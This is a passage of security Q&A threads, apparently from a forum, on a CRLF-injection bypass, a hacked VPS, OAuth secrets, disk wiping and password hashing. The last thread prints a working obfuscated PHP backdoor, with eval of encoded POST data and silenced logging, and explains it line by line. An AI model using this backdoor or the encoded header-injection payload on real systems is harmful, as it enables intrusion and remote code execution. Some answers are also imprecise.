Encoding ASCII character as three-byte UTF-8. How does it work? I'm reading a report on HackerOne https://hackerone.com/reports/52042.
An input filter was bypassed by sending %E5%98%8A that was then parsed as 0x0A character (new line).

The %E5%98%8A sequence corresponds to U+560A Unicode code point.

I read about UTF-8 overlong encodings but it doesn't seem to be the case here.

So I wonder how does this work. Isn't U+560A valid code point?

On that report it seems that they were taking the url parameter reported_tweet_id and copying it into a HTTP header (likely inside a Location, as part of a redirect) after a faulty transformation.

As Steffen Ullrich noted, they somehow took the unicode character and left only the last byte, which allowed filedescriptor to bypass the check for a \x0a.

At the end of the report, the reporter asked for the root cause, which twitter declined to share, so we are left wondering. It's quite strange, since on the one hand, they properly decoded the unicode character (to utf-16, perhaps), while on the other, they completely lost the higher 16 bits. Maybe a faulty unicode library that after a unicode conversion, blindly assumed the result would be iso-8859-1 and copied just the lower byte. Note that they were injected into HTTP headers, which don't support utf-8 (or unicode, any non-ASCII character should be urlencoded there), which is what allowed the CRLF injection on this bug of extra HTTP headers and html body.


Possible number of collisions in a hashing function with constant message size Jumping to conclusions from my question, can we predict possible number of collisions for a given message in a given hashing algorithm.

Say I am using SHA-1 which outputs 160 characters string, and my input string is 161 characters, so does that mean each of my 161 character message has at most unlimited collisions and atleast 10 collisions/pre-images each of 161 characters. Is my understanding correct?

Say I am using SHA-1 which outputs 160 characters string, and my input string is 161 characters, so does that mean each of my 161 character message has at most unlimited collisions and at least 10 collisions/pre-images each of 161 characters. Is my understanding correct?

No.

First it cannot have unlimited collisions since the number of messages with 161 characters is limited itself. This means even for the worst hash algorithm which maps everything to a constant hash value there will be only 256^161 images mapping to the same hash value (assuming character is an octet).

Also there does not need to be any collisions at all for a given hash value and it is not even guaranteed there is one image within your set for each possible hash value.

What you can say is that you will get on average 10 images mapping to the same hash value. And with a good cryptographic hash like SHA-1 you will also get only a small deviation from this average.


Possible security vulnerability? On a pentest on an internal machine in my companies network that a Linux machine (Debian) had symbolic links in the var/www folder to the /etc/ directory. Further enumeration showed that there was a bash script backing up the /var/www folder but it wasn't a cronjob so it seemed suspicious. Any ideas?

Not enough information to ascertain the likelihood of it being malicious or signs of a breach. It wouldn't be uncommon to find a bash script that is coded to backup a directory but not be regularly invoked. Where was the backup going to? If it is the local system, it probably is just an incomplete  sys admin attempt at implementing a backup. If it is backing up to a local file system, then I'd be concerned.

Regarding the links in /var/www/ to files in the etc. directory, sounds like someone did not install apache httpd from the package repo of their distribution, and instead manually installed. Then they probably were perplexed the config files are not in /etc (which is where they would have been located and referenced if installed as a package). So then they moved the files to /etc and put links in place.

It wouldn't be a bad idea to verify the integrity of the httpd install, and make sure it is running  an un-tampered version. Probably not malicious but simply signs of an inexperienced sys admin.


Website Security Breach from an Iframe I know my website is being breached by a third-party web application under the following scenario:

My users put credentials to my site into a third-party web application
The third-party web application violates my X-Frame Options Deny policy via a Google Chrome Extension.  It Iframes my website.
The third-party web application then logs into my website with the credentials the user gave it.
The third-party web application submits information to my website.

Under this scenario, in my log files is there anyway for me to see what pages the third party application is visiting in my secure site and is there anyway to determine if this application is extracting information from my secure webpages?

Also any tips on how to block this third-party web application from being able to iframe my site is much appreciated.

Thanks for your input!

You can attack the extension

I believe it is possible to kill other javascript scripts as shown by:

Fuck Adblock
Fuck Fuck Adblock
Fuck Fuck Fuck Adblock

etc etc

I'm not clear on how this works, but if you know what the script is called/and or get your hands on a copy of it, you can easily begin a sort of 'arms race' against this chrome extension.

You can try to identify the browser application

Then blacklist the hell outta them, but this might just ignite an arms race, where they find countermeasures for your countermeasures etc..

You can screw with their application

If you can get your hands on their scripts and stuff, you can definitely screw with them in the following ways:

Identify how they get the password, and feed it fake information
Probability of failure for their methods
Honeycombed area after login to collect information on updates their scripts may have gotten

You can add two factor authentication/ ip login stuffs

2FA is a brick wall to hackers.

You can ruin automation

In order to get passwords, they're probably scraping the field's identifier. Bots I make use getelementbyid so if you can generate the username and password field ID on the fly, that could be frustrating for the hackers. Might be really frustrating for people that use password autofill though.

Final notes

In any case, your priorities are

get your hands on their code
figure out a way to identify their login attempts
their IP, subpoena their ISP etc etc etc

With these things, you can do any array of things, including playing 'Mr. Passive Aggressive,' where you can move the hacker's session to a different gui compared to everyone else where it can't get any information/get wrong information 50%/50% of the time. Or utilize any methods listed above. In any case, make it difficult for them to identify the methods you use. If you're too hard a target, they'll move on and find someone else.


Brutalized VPS recovery data now available. Considerations? Backstory
My sites and VPS were stolen from me. The hosting company and I were locked out and unable to access it. They weren't able to create a temp password for access because the attacker blocked it.
The last time I was logged into WHM, root control was taken and all HDDs were no longer bootable. I believe the same person used a worm to monitor my desktop remotely. 5 pcs and 5 mobile devices, bricking my ddwrt r7000 router with PIA VPN killswitched. A dozen or so mint/ubuntu vms were taken over. Many usb drives were made to be write-only.It was relentless.
I stopped trying to figure out what was going on and reformatted all devices.

I am now waiting on the server image and a memory snapshot, as well as an rsync copy. Upon transaction ill get a fresh server image...certainly of a different IP, unless they aren't to be convinced.

Here is the email I received today:

  Blockquote
  This ticket was just assigned to me.  I have made a backup of the account >out of the way of the backup processes here.

[2018-03-25] pkgacct completed

I was reading over some of the conversations and would like to just make sure we are on the same page.

We can not dd ( bit for bit copy ) the current state because the account does not have a storage medium that can handle it.  If you wanted to add keys that we can rsync over ssh to a remote destination just give us the destination of the output file and we will be happy to help with that.

We normally do not keep hacked operating systems around unless there is some specific interest.  What I find interesting is the openVPN software:

uperior.hosting.com [home]# ifconfig
as0t0     Link encap:Ethernet  HWaddr
          inet6 addr: Scope:Link
          UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:436367538 errors:0 dropped:504 overruns:0 carrier:0
          collisions:0 txqueuelen:200
          RX bytes:0 (0.0 b)  TX bytes:26310498062 (24.5 GiB)

asbr0     Link encap:Ethernet  HWaddr
          inet addr:   Bcast:   Mask:
          inet6 addr:  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:431222324 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1492069 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:20595591150 (19.1 GiB)  TX bytes:634373123 (604.9 MiB)

If you are using this server as a production WebServer I would recommend using CentOS 7 and installing something like 'Cockpit' instead of using a VPN through a cPanel server on CentOS 6.

What is in the scope of our support is to insure you have a path to and from the server while you salvage the barebones data.  I will conclude with some options and questions. (The following are my answers)

An inquiry about the openvpn activitu
Letting them know, again, I want a copy of the server image, a memory snapshot, and all logs available
Fresh installation of cPanel/WHM
Fresh IPs for sites and VPS
SFTP info

  Blockquote

  Is having a VPN, IDS, firewall, honeypot enough?
  Have I left anything out?

VPS is a from Bluehost, running CentOS 7 with any alternative to WordPress...

I'll start with what to do with your current system:

Get in and make a backup of everything.
Unless you can demonstrate major losses ($10k+), I wouldn't even begin to think about involving law enforcement.  They have their hands full, and given the current patterns on the internet, it's highly likely that your culprit is in a different country than you are.  Nobody is going to do an extradition process for hacked Wordpress sites.  (Sorry, I know it's hard to hear, but it's the reality.)
Burn the current server to the ground.
Consider every password on your old server compromised.

Now, how do you build a new server to avoid this happening again?  I'm going to make a few assumptions based on what you wrote in your post:

Multiple Wordpress installs.
mod_php on Apache
CPanel/WHM

Here's a few recommendations:

Get your new server.
Do a fresh installation of your applications, and setup strong passwords/credentials that have nothing to do with your old ones.
Configure SELinux to limit the exposure of each site as much as possible.
Be careful what wordpress plugins you install.  They have a much worse security track record than wordpress core.
Ensure that directories that are writable by the webserver are never interpreting files as PHP.
Use 2-factor authentication for everything you can.

CPanel
SSH

Without being able to do digital forensics on your system, it's hard to know for sure, but I'm going to go out on a limb and guess what happened:

Attacker runs scanner looking for vulnerable Wordpress installs.
Attacker finds vulnerable Wordpress on your server.  Gets RCE as webserver.
Dumps password hashes for wordpress databases.
Cracks password hashes, one of them matches a WHM/CPanel password.
Gets into CPanel.  Maybe as an admin, or maybe the version of CPanel had a bug that allows privilege escalation to admin.

You talk about fear of retaliation and the attacker coming after you again and again.  Unless this is personal (a vendetta of some sort), I wouldn't worry about that.  Attackers like this will just move on to their next compromised host.  Just don't give them another chance.


What are the security implications of linking a domain account with a personal Microsoft account in Windows 8? Besides being able to mess up settings and having access to the personal SkyDrive account, what else might an attacker on the corporate network be able to do when the accounts are linked and settings are shared between work and personal computers? What about an attacker on a sync'd personal computer?

I assume this question is in regards to a bring your own device policy.

The biggest security risk of allowing someone access to link a domain and personal account is the ability for them to offload company files on various subjects (customer data, credit card numbers, corporate plans etc.) to their own accounts and to their personal PC. They wouldn't even need to be able to pull off any serious hacking, you've already given them all the access they need.

If the employee does not have the intent to cause malicious harm, a remote attacker or virus on the employees personal computer would be your second greatest risk. Anytime someone gains access to routes that are only meant to be seen by a device physically inside your network or virtually inside your network (VPN) you run the risk of a remote attacker knowing the IP scheme and naming conventions of internal devices as well as the DNS and Domain Controllers contained inside. They may not see the encrypted traffic but the packet still has a visible route. This allows someone to sabotage your network with greater ease because they know the routes and their targets.


Are DLLs in URLs executed on users local machine or on the remove machine? In this question I am referring to DLLs listed in URLs such as this one:

http://survey1.sendyouropinions.com/mrIWeb/mrIWeb.dll

When this kind of URL is navigated to, is the code in the DLL executed on the remote machine (like e.g. a PHP page) or on the users own machine?

It is not even clear that there is a DLL involved at all or that no DLL is involved if the URL does not contain the .dll suffix. The (remote) webserver just interprets  the URL like it wants and you can not make any definite assumptions on the underlying technology just based on the URL. It would be perfectly possible (but uncommon) to have a URL like http://example.com/foo.php/bar.dll/foobar.exe/barfoot.gif which is neither a GIF image, nor is a PHP script, nor a DLL or some executable file but it is instead HTML created by a Perl script. In any case: the server provides the content based on the URL and the browser then renders the content, independent from the text of the URL (the might be cases where the URL text has local affects, like with reflected XSS attacks etc).


OAuth 2.0 when and how to use the client id and secret The OAuth 2.0 protocol uses the client id and secret. It considers the client id to be public while the secret is private. Anyway it also considers to generate the client id randomly with a certain length to prevent phishing attacks. Also it says that e.g. single page applications shouldn't use a secret in some cases.

I am a little bit confused but all of this. Imagine we have a user(browser), a relying party and an id provider and starting an authentication process using the authorization code mode (maybe also the implicit mode). At which points could this process lead to vulnerabilities/risks when we are misusing/not using the client id or client secret?

ClientID and Client Secret are basically the same idea as a username and password, though keep in mind that in some contexts they could refer to different things. Either way you will generally use it to fill a basic authentication header in a HTTP request to the authorization server.

Not using a ClientID is, to my knowledge, impossible. You are claiming an identity after all, that of your OAuth client. The client has certain permissions associated with it and any long lasting grants need to be associated with a client as well.

No Secret
Not using a secret is possible, however you need to consider the following things. If you don't use any means of authentication then anyone can use your client if they know the clientID. If there is not much risk to having an unauthorized party use the client then that is fine.

Different kind of secret
Another way of not using a secret is to use other means of authentication. For example based public-private keys or certificates. The advantage here is the you are not sending your shared secret along with your request for a token, therefore your your secret cannot be intercepted. With the public-private key scenario the authorization server would send some random message to the client to have it encrypted with the private key. The authorization server can then decrypt it with the public key and validate it, or some other variation of this crypto magic. Either way the private key is not transferred and thus stays safe.

Two authorization flows
The authentication code flow will have the user (resource owner) authenticate to provide some form of access to the client. The user will be redirect to a location associated with the client, in this redirect the authorization code is passed along. The client can now obtain the authorization code and exchange it for an access token and, possibly, a refresh token. During this exchange the client will need to authenticate. In the implicit flow the user will be redirected as well, but now the tokens are passed along immediately. So there is no need for an exchange and thus no need for the client to authenticate itself.

Possible vulnerabilities
Using no authentication at all could mean an attacker will have an easy time using your client. Creating random clientIDs and creating them on the fly to destroy them once done are ways to decrease the odds of this happening. But still someone could just guess them or otherwise figure out the clientID.

Using a client secret means a shared secret between the client and the authorization server which could be intercepted. This becomes a lot harder to pull off when you use HTTPS, which you should definitely do regardless of the options  you pick. Either way  the possibility is still there in the case of a man in the middle attack, sniffing, weak ciphers and possibly others.

Using the implicit flow the tokens will pass through the users device where they might be intercepted and used by an attacker. Though to be honest, if this is the case the user probably has bigger problems than that.

Conclusion
OAuth gives you a lot of options and freedom to suit it to your needs. What you pick is a trade-off between ease of use and security. It depends on your use case and environment what the best option will be.


HSTS without auto-upgrading HTTP to HTTPS I have a website hosted at https://example.com/mysite. If you navigate to http://example.com/mysite, you get a 404. Everything that comes in over HTTP gets 404'd.
I was dinged on a security audit because I wasn't auto-upgrading HTTP to HTTPS. According to the bug report, my site is violating HSTS because it's not upgrading HTTP to HTTPS and adding Strict-Transport-Security headers to all responses.
If my site is only available on HTTPS, though, is this actually an issue? Is there some attack vector when the site is not actually available at all via HTTP, even via redirect? I know a redirect from HTTP to HTTPS makes a MITM attack possible, but without such a redirect at all, I don't understand what the issue is.

If the site sends the HSTS header in the HTTP response, than that is against the RFC.
And the RFC also states, that you "SHOULD" 301 the client to HTTPS and I honestly don't see any reason not to.


Understanding patch for my report I reported a flaw to the security team and they changed the UIDs from regular integers to hash kind of a thing. Like this, XXXX-XXXX-and-so-on

I still want to try and bypass things but I don't understand what kind of hashing is this? I have seen a lot of applications using this kind of hash for tokens, UIDs etc. Characters are separated by - (dash or a hyphen) in these kind of tokens.

That is probably a UUID or GUID. It looks like this:

123e4567-e89b-12d3-a456-426655440000
              ^

There are several versions, indicated by the mark above. Version 4 is random. Version 1 and 2 are not random, so these may still be predictable and useful in an insecure direct object reference.

While GUID's may be hard to guess, it is still considered best practice to also check authorisation. So even if you have the GUID of another user's object, you still shouldn't be able to access it.


How can I do a secure reinstallation on an android device? I want to reinstall the rom on my android device. I like to assume that the system is infected when I do a reinstallation of any device, so if it was really infected and I haven't noticed, I'm on the secure side.

I'm not very familiar with the android internals. What would be the steps somebody would have to do, after he had ran a malicious application and granted root privileges?

As always, everything depends on the nature of the attacker. How determined are they, what resources have they, are they targeting you specifically?

If your concern is regular, non-targeted malware, you should be OK if you keep a clean SD card with a custom recovery manager on it, and use that to flash the ROM. It's important that you use that card for nothing else, and never have it in the device unless you're booting from it.

This means you need a clean device at some point to create that clean SD card, and later to update the ROM.

If you are facing a targeted attack from a well resourced attacker, things get more serious, and you'll probably need to switch to a "burner phone" model, where you throw the phone in the trash every few days and buy a new one.


Why is writing zeros (or random data) over a hard drive multiple times better than just doing it once? Lots of different programs, such as Darik's Boot and Nuke, let you write over a hard drive multiple times under the guise of it being more secure than just doing it once. Why?

Summary: it was marginally better on older drives, but doesn't matter now. Multiple passes erase a tree with overkill but miss the rest of the forest. Use encryption.

The origin lies in work by Peter Gutmann, who showed that there is some memory in a disk bit: a zero that's been overwritten with a zero can be distinguished from a one that's been overwritten with a zero, with a probability higher than 1/2. However, Gutmann's work has been somewhat overhyped, and does not extend to modern disks. “The urban legend of multipass hard disk overwrite and DoD 5220-22-M” by Brian Smithson has a good overview of the topic.

The article that started it is “Secure Deletion of Data from Magnetic and Solid-State Memory” by Peter Gutmann, presented at USENIX in 1996. He measured data remanence after repeated wipes, and saw that after 31 passes, he was unable (with expensive equipment) to distinguish a multiply-overwritten one from a multiply-overwritten zero. Hence he proposed a 35-pass wipe as an overkill measure.

Note that this attack assumes an attacker with physical access to the disk and somewhat expensive equipment. It is rather unrealistic to assume that an attacker with such means will choose this method of attack rather than, say, lead pipe cryptography.

Gutmann's findings do not extend to modern disk technologies, which pack data more and more. “Overwriting Hard Drive Data: The Great Wiping Controversy” by Craig Wright, Dave Kleiman and Shyaam Sundhar is a recent article on the topic; they were unable to replicate Gutmann's recovery with recent drives. They also note that the probability of recovering successive bits does not have a strong correlation, meaning that an attacker is very unlikely to recover, say, a full secret key or even a byte. Overwriting with zeroes is slightly less destructive than overwriting with random data, but even a single pass with zeroes makes the probability of any useful recovery very low. Gutmann somewhat contests the article; however, he agrees with the conclusion that his recovery techniques are not applicable to modern disks:

  Any modern drive will most likely be a hopeless task, what with ultra-high densities and use of perpendicular recording I don't see how MFM would even get a usable image, and then the use of EPRML will mean that even if you could magically transfer some sort of image into a file, the ability to decode that to recover the original data would be quite challenging.

Gutmann later studied flash technologies, which show more remanence.

If you're worried about an attacker with physical possession of the disk and expensive equipment, the quality of the overwrite is not what you should worry about. Disks reallocate sectors: if a sector is detected as defective, then the disk will not make it accessible to software ever again, but the data that was stored there may be recovered by the attacker. This phenomenon is worse on SSD due to their wear leveling.

Some storage media have a secure erase command (ATA Secure Erase). UCSD CMRR provides a DOS utility to perform this command; under Linux you can use hdparm --security-erase. Note that this command may not have gone through extensive testing, and you will not be able to perform it if the disk died because of fried electronics, a failed motor, or crashed heads (unless you repair the damage, which would cost more than a new disk).

If you're concerned about an attacker getting hold of the disk, don't put any confidential data on it. Or if you do, encrypt it. Encryption is cheap and reliable (well, as reliable as your password choice and system integrity).


How to secure and limit access to a web based application hosted on a local server I have security concerns over a web based application. I want to limit access to the application only to a whitelisted IP addresses. Here are my thoughts on that:

To host the application myself.

The application is only required to be accessible during office hours (8am - 4pm). I'll use an internet router to put it online so that other offices from remote locations can access it. With this architecture, I can only give access a whitelisted IP address.

A challenge I have with this, is the database security and backup. I feel the database will be safer online than on my local server, so I plan to use an online database server, then grant access to only one host (which is the external static IP address of my internet router).

I have not done something like this before. So my question is; what are the consequences of this architecture? Also, I will appreciate more advice and suggestions on how to secure and limit access to this application.

Keeping the database online actually increases your attack surface, but if you plan to use a hosting company that creates and secures this for you, it might be helpful.  As far as security for this, you would want to make sure all connections to the database use ssl.  This prevents plain text passwords from being sniffed.  You would also want to make the password complex enough to prevent brute forcing.  As far as limiting the ip address that can connect, this does help, but keep in mind most attacks attempt to originate from queries passed through sql injection.  Your application seems to be web based, so if an attacker was able access a page that queried the database, the ip address wouldn't stop the attempted injection.  Not to discourage however.  Ip whitelisting, deny everyone else, would be a good step, but you will want to monitor/access the application using the database for any vulnerabilities.


How to do security configuration for ibm http server? We are using IBM HTTP Server Version 7.0

Need help related to Cross Site Scripting Prevention in IBM http server.

Cross Site Scripting Prevention in Sun Java System Web Server 7.0 mentioned in following link: https://blogs.oracle.com/meena/entry/cross_site_scripting_prevention_in

Is there any configuration setting related to IBM http server ?

How can we do entity encoding or filtering settings in ibm http server ?

IBM Webserver is based upon Apache. Reading the Oracle article posted, it looks like they are talking about enabling entity encoding. I do not think the way that an apache based server works can blanketly tell about input since the programing language is not tightly couples to the web server. More or less what that article is saying is that that you replace < and > tags  with the html entities so they will not be interpreted as code by the browser. Most likely you will want to implement this within your app code.

If you have not already been there, start your exploration of blocking XSS with the OWASP XSS Prevent Cheat Sheet.


Is HTTP to localhost safe? Google is reportedly planning to make Chrome report all web site connecting using http:// as unsafe.

But is this really true if the host in question is localhost and the server is only listening for connections from the local machine?  For instance, if there is a server running on the local machine and I navigate to http://localhost:8080 is there anything insecure about that?  As far as I know, this resolves to 127.0.0.1 which is inaccessible outside the local machine.  I think it should never be possible for localhost to resolve to 127.0.0.1 or that 127.0.0.1 doesn't refer to the local machine.

All communications should be going through a channel that can't be seen from another processes other than the server process on the machine and the client process which is the web browser.  So sending things like passwords, session keys, etc. across the channel should be secure, right?

I'm aware of security risks which might be caused by allowing localhost access, and how these might be protected against.  What other risks are there?

Sort of.

Loopback traffic does not reach a physical network interface. It is routed through the virtual loopback interface, so it never leaves the machine.

Administrative applications (so that includes administrative users) and the system's high-privilege processes will be able to sniff the loopback interface, at least on Windows, OS X, and Linux. In some configurations, non-root processes may be able to access pcap and sniff loopback. In modern pcap installation config scripts it asks whether you would like to restrict pcap access to root-only, which prevents this issue.

TCP network sockets are not limited to particular users, so on multi-user systems a listening TCP socket will be accessible by all users on that system. Additionally, a process which runs before yours has chance to start may launch its own listening server on that port, and accept requests from the client. Whether or not that's a vulnerability depends on your use-case and threat model.


Offline registry analysis - Hardware info? Is it possible to get information about the hardware from an offline version of HKLM/SOFTWARE hive? There is OEMInformation in there, which gives things like machine manufacturer, but does the machine need to be on to get this information?

Yes and no. People can get information about your hardware by opening up the computer. However your asking more specifically about the Registry. Well the machine needs to be on. But you don't need to be booted into Windows. You can access the registry using a Live CD. Using a Live CD on the local computer you can achieve an also lot. Such as run better virus scans, crack passwords, add files to the system, remove files from the system, modify files on the system and much more. However the computer will most likely need to be on and have access to the internet or the network in order for someone to access the registry.


Forcing response headers I'm testing a particular vulnerability box since yesterday and I came with one rather strange problem that I didn't expect. Lets say a vulnerable web-application offer image file upload.

The image actually doesn't have to be image, the back-end accept any file exstension. The problem is, same back-end always returns *.jpg so instead of uploaded evil.php script, you come up with random_number.jpg.

Of course, the first thing I've tried is getting the served response, which in this case is base64-encoded image data.

Looking further, I've found that the application returns binary/octet-stream as a Content-type response header which means when I try to access the URL http://localhost/vulnbox/uploaded/random_num.jpg, the browser opens file download message. The actual file is returned as binary, ready to be downloaded, yet looking into the file, I see that the code stays in.

Is there a way I can force response of Content-type to any other and get actual evil script ran?

I assume you want to know if there is a way to execute the uploaded PHP file. Short Answer: No

Long Anwser:
As long as the web server is configured correctly only .php files gets executed as PHP. Most web servers will return as content type always the mime type derived from the file extension. The content itself of the HTTP response is typically the content of the file. For example Apache2 will return you the content type 'image/jpg' and the plain text of the PHP file.


HTTP authentication - the HTTP header name is Authorization - why? Why by HTTP authentication the HTTP header which contains credentials is called "Authorization"? Any historical explanation?

I am asking because I realized that some people mix authentication with authorization and this name convention by HTTP authentication is bit unfortunate.

I don't think there is a deeper meaning behind. The usage is consistent with the English language. The Oxford English Learners Dictionary defines authorization as:

  [countable] a document that gives somebody official permission to do something.

  Can I see your authorization?

The HTTP specification for headers dates back at least to RFC 2068 from January 1997 which clearly states:

  Authorization = Credentials

On the other hand, first security standards that laid ground to ISO 27k series were codified in 1999-2000.


Is WordPress a security vulnerability inside a corporate intranet? The company I work for had me develop a WordPress site for their intranet. Now they are saying that it poses security risks and they would like to shut it down and have me use another CMS (SharePoint most likely).

Is it true that our intranet would still possess security vulnerabilities even though it is restricted to internal staff?

It would depend on the version of Wordpress, in general the idea is that you need to patch your software and harden it to make it secure. But it's not that Wordpress is any less safe than Sharepoint.

Wordpress is in general well maintained and CVE's are patched or fixed quite rapidly. So if you keep up with these then it's safe to use Wordpress. (do mind that you need to keep track of your plugins as well)

If you don't do this in general, then your Sharepoint will probably be as insecure as your Wordpress (or any other software that's on your Intranet for that matter).

But saying that software X is insecure without providing any facts to support the statement is a bit stupid.

EDIT
To compare intranet vs internet, the likelyhood is lower, but the impact is the same as on the internet.


idea to detect data breaches by letting users create single-click single-use email aliases My idea is for a popular email provider (e.g. Gmail) to let users create auto-generated disposable email addresses that are aliases for their main account, in order to detect data breaches at companies that users submit their email address to.  (Note: I am aware this feature exists on some little-used email providers, but that doesn't solve this problem, for reasons discussed below.)

This way, when you create an account with a company like eBay, you create a disposable email alias to give to that company, and you annotate the alias with a note like "Submitted to eBay on June 29, 2018".  Messages to that alias still get forwarded to your inbox.  But if you ever receive any spam sent to that address, you know that that company's member database was compromised.

Now, getting spam at that address doesn't absolutely guarantee that the company's member database was compromised -- perhaps someone installed malware on the user's machine that captured their alias as they were generating it.  However, if many users simultaneously start getting spam at the alias address they generated for eBay (but not at the alias addresses they generated for other sites), and they all start complaining about it at once on Facebook, then this means eBay was probably compromised.

Now I know there are options out there that look almost-but-not-quite like this, but here's why I don't think they solve this problem:

little-used email providers that let you created disposable aliases for your email address, as I'm describing.  This does allow the individual user to find out which service the breach occurred at, and to block any future emails to that address.  The problem with these services is that if any of these sites become generally known as a way to detect breaches, and if the attacker wants to delay the breach being detected, they can just avoid sending mail to addresses on that list -- as long as the email domain is not widely used, the attacker won't be giving up much.  So, this would help the individual user avoid spam from data breaches, but it wouldn't help them contribute to crowdsourcing the detection of those data breaches.  (Besides, if it's an obscure company, who knows if it will be around for long? If they go out of business, you have to switch all your membership email addresses to a new domain.)  The only way to avoid this problem is if the email provider is a popular service provider like Gmail, Hotmail, etc.
appending something with a "+" sign like yourrealaddress+customextension@gmail.com to the end of your email address.  This doesn't work because the attacker can easily strip out the "+customextension" from all email addresses before spamming them.

So, my questions are:

Is there any particular reason why this would not work, and would not provide a valuable public service in detecting data breaches?
Has this idea been discussed or promoted elsewhere?  Because I haven't found anything advocating this approach.  (Remember, I'm talking specifically about a push for a major email provider to adopt this as a feature, not whether this feature exists on a little-known email service.  If a little-used email provider is offering this service, that solves the problem for the user, but it doesn't solve this problem, which is scalable crowdsourcing of breach detection.)

I can see quite a few reasons why large providers wouldn't want to do this, although they aren't all from a security point of view.

Firstly, they already have huge numbers of email addresses that at some point a human selected, and many of those are terrible - they have a long string of random numbers at the end, and are unmemorable even to the owners. Adding the ability for each user to generate further email addresses would further cut into the supply of acceptable email usernames, especially since you want them to be indistinguishable from main addresses (else your objection to adding +company also applies to these).

Secondly, they already provide the filtering ability (the +company) pattern, which works "well enough" for most people. It can easily be bypassed, true, but can also be used for other purposes, so it's essentially a bonus feature (from what I can tell, it was envisioned for companies to be able to send form submissions into folders automatically by setting the submission address to +feedback, +complaints, etc.). Aliases are also already built in, and if you are a paid customer with your own domain, you can use them as much as you like.

That brings up the third point: they effectively offer this for the people who actually pay them for the service already. It could be considered an incentive to subscribe, rather than just using the free service.

There just doesn't seem to be much of a benefit for the email providers in this case. They are businesses, after all, and have spent a lot of effort in terms of detecting spam and hiding it from users. If you're seeing spam, they're failing at filtering, and if users don't see the spam, they aren't going to be talking about it.

If they wanted to detect potential breaches, they probably have the data anyway - look for email addresses which get messages from specific services, cross reference with junk messages, and make a call based on probability. This would probably be more reliable than the crowdsourced approach, since there is more data available.


Why do people think that this is bad way to hash passwords? What's wrong with this code?
$password = "hello";
$password = md5($password);
for ($i = 1; $i < 20; $i++) {
  $password = md5($password);
}

I don't think an attacker with access to the hashes storage would be able to decrypt any password using more than 2 characters.
The attacker would have to decrypt this list of hashes to be able to gain the plaintext password.
69a329523ce1ec88bf63061863d9cb14
0dcd649d4ef5f787e39ddf48d8e625a5
5d6aaee903365197ede6f325eb3716c5
cbe8d0c48ab0ed8d23eacb1621f6c5c3
8fa852c5f5b1d0d6b1cb0fad32596c71
91a84cf929b73800d2ff81da28834c64
45b7d5e4d3fca6a4868d46a941076b72
e5b7d9d10fef132829731255ef644319
b3af6ff5f5c7ae757ca816a6cb62f092
150f3682b2e58d1d0e1f789f9ba06982
3f76626950bf31dbc815c667ca4b2b43
44f4c75517671e12946aab3c8c293f98
442256b098b2d88e93428b08b5155308
7fd8ebc5bdff94f24a10decaa1ab64e8
d04bbc863839b720d932a697f0bf443b
de737c934db23c2d1d1026863e7583a8
d745f6394700c4ab1e9ded0924ea35d2
ce9428b51d3a63431c57a435423877b6
7017f40bdb4f1be1f5fae7dd0fc7b907

With brute force, an attacher should try 3632 (*19) combinations, which is pretty unachievable. Isn't that true?

The wrong things on your method are:

You use way too few iterations (20 is too low, it should be 20000 or more): password processing is still too fast, an attacker with a basic PC will still be able to "try" dozens of millions of passwords per second.
There is no salt: an attacker may attack several passwords with very low per-password cost, e.g. with precomputed tables of hashed passwords (in particular rainbow tables).
You are in the process of inventing your own cryptography. There is nothing wrong with being inquisitive and trying to understand things, but since there is no sure test for knowing whether a given algorithm is secure or not, inventing your own cryptography is often a recipe for disaster. Don't do it.

What you should do is to use bcrypt; there is a PHP implementation in the Portable PHP password hashing framework.


Malicious script analysis Could somebody tell me what can this malicious code do?

I see that in the beginning it turns off the error reporting and logging.

Then something with get post method and files stuff. But I am not sure.

Could somebody help me explain what this script does?

@error_reporting(0);
@ini_set("display_errors", 0);
@ini_set("log_errors", 0);
@ini_set("error_log", 0);

if (isset($_GET['r'])) {
    print $_GET['r'];
} elseif (isset($_POST['e'])) {
    eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e']))))));
} elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') {
    $data = file_get_contents('php://input');

    if (strlen($data) > 0)
        print 'STATUS-IMPORT-OK';

    if (strlen($data) > 12) {
        $fp = @fopen('tmpfile', 'a');
        @flock($fp, LOCK_EX);

        @fputs($fp, $_SERVER['REMOTE_ADDR'] . "\t" . base64_encode($data) . "\r\n");

        @flock($fp, LOCK_UN);
        @fclose($fp);
    }
}
exit;

Any idea of quick php module or function suppresion in php settings on the server so this malicious script is out of luck and breaks while I will try to remove it completely from the website?

Nasty little bit of code

It's likely a botnet setup or a backdoor for script kiddies. Would need to see what they're passing as vars and URLs to tell you what they're hitting you with, but this is a backdoor test script that tries several known exploits to pass information to your server. They're usually injected either via MySQL Injection Attack and executed on printing, or on some insecure (non-cleaned) output of client supplied variables (including Cookies).

Disables the logging with error output disabled in case ini_set and error_reporting changes aren't allowed:

@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0);

Checks for the 'r' $_GET variable passed across the address bar (likely checking for .htaccess redirection).

if (isset($_GET['r'])) { print $_GET['r']; }

Checks if their own post variable is passed and likely executes any payload they've prepped.

elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); }

Checks to see if you allow remote opening of URLs if the first method fails

elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input');

Verifies their import

if (strlen($data) > 0) print 'STATUS-IMPORT-OK';

Tries to write a file

if (strlen($data) > 12) { $fp=@fopen('tmpfile','a');

Locks the file with an exclusive lock for writing

@flock($fp, LOCK_EX);

Prints to a the file with error display (likely another payload for some other server)

@fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n");

Releases the lock

@flock($fp, LOCK_UN);

Closes the file that's now on your server

@fclose($fp); } }

Closes the script

exit;

You can analyze this an look for the things they've checking for and implement them in the event you might be compromised by this. The flock() bit is in some of the newer code.

As a good rule when programming developers should never trust client provided input.

Update

